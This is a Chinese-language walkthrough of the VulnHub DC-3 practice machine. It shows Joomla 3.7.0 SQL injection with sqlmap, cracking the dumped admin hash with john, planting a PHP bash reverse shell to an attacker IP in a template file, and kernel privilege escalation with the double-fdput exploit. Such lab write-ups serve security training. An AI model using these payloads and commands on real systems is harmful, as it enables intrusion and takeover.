DC-3
DC-3靶场链接:https://download.vulnhub.com/dc/DC-3-2.zip
下载后解压会有一个DC-3.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式
arp-scan -l
扫出靶机ip是192.168.183.146
nmap -A -p- 192.168.183.146
发现这台机只开了80端口,访问80端口发现一个登录的,常规的burpsuite抓包爆破找到密码snoopy,但是成功登录也没什么变化
dirsearch -u 192.168.183.146 -e * -i 200
?
打开http://192.168.183.146/administrator/ 在这个登录框输入账号:admin,密码:snoopy即可登录到后台
回到nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 15:58 CST
Nmap scan report for 192.168.183.146
Host is up (0.00022s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT ??STATE SERVICE VERSION
80/tcp open ?http ???Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
注意到这是Joomla的cms,针对joomala可以使用joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,利用joomscan进行joomla信息探测
joomscan -u 192.168.20.140
得到这是Joomla 3.7.0版本,可以使用searchsploit搜索这个版本joomla的漏洞
searchsploit Joomla 3.7.0
searchsploit是一款kali自带的搜索漏洞信息的模块
参数参考:
???-c, --case ????[Term] ?????区分大小写(默认不区分大小写)
???-e, --exact ???[Term] ?????对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
???-h, --help ????????????????显示帮助
???-j, --json ????[Term] ?????以JSON格式显示结果
???-m, --mirror ??[EDB-ID] ???把一个exp拷贝到当前工作目录,参数后加目标id
???-o, --overflow [Term] ?????Exploit标题被允许溢出其列
???-p, --path ????[EDB-ID] ???显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
???-t, --title ???[Term] ?????仅仅搜索漏洞标题(默认是标题和文件的路径)
???-u, --update ??????????????检查并安装任何exploitdb软件包更新(deb或git)
???-w, --www ?????[Term] ?????显示Exploit-DB.com的URL而不是本地路径(在线搜索)
???-x, --examine ?[EDB-ID] ???使用$ PAGER检查(副本)Exp
???????--colour ??????????????搜索结果不高亮显示关键词
???????--id ??????????????????显示EDB-ID
???????--nmap ????[file.xml] ?使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
????????????????????????????????使用“-v”(详细)来尝试更多的组合
???????--exclude="term" ??????从结果中删除值。通过使用“|”分隔多个值
??????????????????????????????例如--exclude=“term1 | term2 | term3”
从结果来看,我们发现joomla 3.7.0有一个sql漏洞
┌──(root?kali)-[/home/kali]
└─# searchsploit joomla 3.7.0
------------------------------------------------- ---------------------------------
?Exploit Title ??????????????????????????????????| ?Path
------------------------------------------------- ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection ??????| php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-S | php/webapps/43488.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results
把相关漏洞信息复制到桌面:
touch /home/kali/桌面/42033.txt
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /home/kali/桌面/42033.txt
在桌面的42033.txt里给出了sqlmap的payload:
sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
sqlmap出了数据库:
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
接下来依次破解表名、字段名即可,这里放上最后payload:
sqlmap -u "http://192.168.183.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
得到了admin账号及其被加密过的密码:
Table: #__users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password ????????????????????????????????????????????????????|
+----------+--------------------------------------------------------------+
| admin ???| $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
这里我们可以尝试用join对这串密文进行爆破
john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。
在kali上安装join
apt install john
在桌面创一个放密码的文件:
touch /home/kali/桌面/pass.txt
把刚刚被加密的密码写入进去:
vi /home/kali/桌面/pass.txt
打开后按i进入插入模式,复制完后按ESC后输入“:wq”保存退出
开始使用join工具破解:
john /home/kali/桌面/pass.txt
得到密码是snoopy
进入后台后点击左边栏上的Templates,然后在点一次左边的Templates,点击beez3,进入到一个文件上传页面,随机挑选一个文件把别的内容注释了然后写入:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>
Ip改成自己kali的ip,点击保存,在kali那边打开监听:
nc -lvvp 666
然后物理机访问网页http://192.168.183.146/templates/beez3/刚刚写入反弹命令的文件名
回到kali,看见反弹成功,利用python获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
Whoami后发现不是root权限,需要提权
进行一些信息收集,以下是linux系统信息收集:
cat /etc/issue ????????#查看系统名称
cat /proc/version ?????#查看当前运行的 Linux 内核版本信息
cat /etc/Lsb-release ??#查看系统名称,版本号
cat /etc/*release ?????#查看linux发行信息
uname -an ?????????????#查看内核版本
cat /proc/cpuinfo ?????#查看cpu信息
dpkg -l | grep linux-image ?#已安装的补丁信息
──(kali?kali)-[~]
└─$ searchsploit Ubuntu 16.04
--------------------- ---------------------------------
?Exploit Title ??????| ?Path
--------------------- ---------------------------------
Apport 2.x (Ubuntu D | linux/local/40937.txt
Exim 4 (Debian 8 / U | linux/local/40054.c
Google Chrome (Fedor | linux/local/40943.txt
LightDM (Ubuntu 16.0 | linux/local/41923.txt
Linux Kernel (Debian | linux_x86-64/local/42275.c
Linux Kernel (Debian | linux_x86/local/42276.c
Linux Kernel (Ubuntu | linux/dos/39773.txt
Linux Kernel 4.14.7 ?| linux/local/45175.c
Linux Kernel 4.4 (Ub | linux/dos/46529.c
Linux Kernel 4.4 (Ub | linux/local/40759.rb
Linux Kernel 4.4.0 ( | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-2 | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-2 | windows_x86-64/local/47170.c
Linux Kernel 4.4.x ( | linux/local/39772.txt
Linux Kernel 4.6.2 ( | linux/local/40489.txt
Linux Kernel 4.8 (Ub | linux/dos/45919.c
Linux Kernel < 4.13. | linux/local/45010.c
Linux Kernel < 4.4.0 | linux/local/43418.c
Linux Kernel < 4.4.0 | linux/local/44298.c
Linux Kernel < 4.4.0 | linux/local/47169.c
Linux Kernel < 4.4.0 | linux_x86-64/local/44300.c
--------------------- ---------------------------------
Shellcodes: No Results
然后查看39772.txt的路径?
┌──(kali?kali)-[~]
└─$ searchsploit -p 39772.txt
??Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
??????URL: https://www.exploit-db.com/exploits/39772
?????Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
????Codes: CVE-2016-4557, 823603
把该路径复制到桌面:
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/桌面/39772.txt
打开桌面上的39772.txt文件,最后一行附上了exp链接
物理机访问网址,下载exp解压后是一个叫39772的文件,把文件拖进虚拟机桌面上
python -m http.server 8080
浏览器访问:
http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/
其实就是在网页找到这个exp文件,然后复制exploit.tar的链接,回到虚拟终端用wget下载这个链接
wget http://192.168.183.138:8080/%E6%A1%8C%E9%9D%A2/39772/exploit.tar
出现了以下情况就是成功了
exploit.tar ????????100%[===================>] ?20.00K ?--.-KB/s ???
然后解压:
tar -xvf exploit.tar
在39772.txt里有教怎么使用exp(蓝色部分):
先输入
./compile.sh
后输入:
./doubleput
再次whoami,就能发现提权到了root,flag就在/root下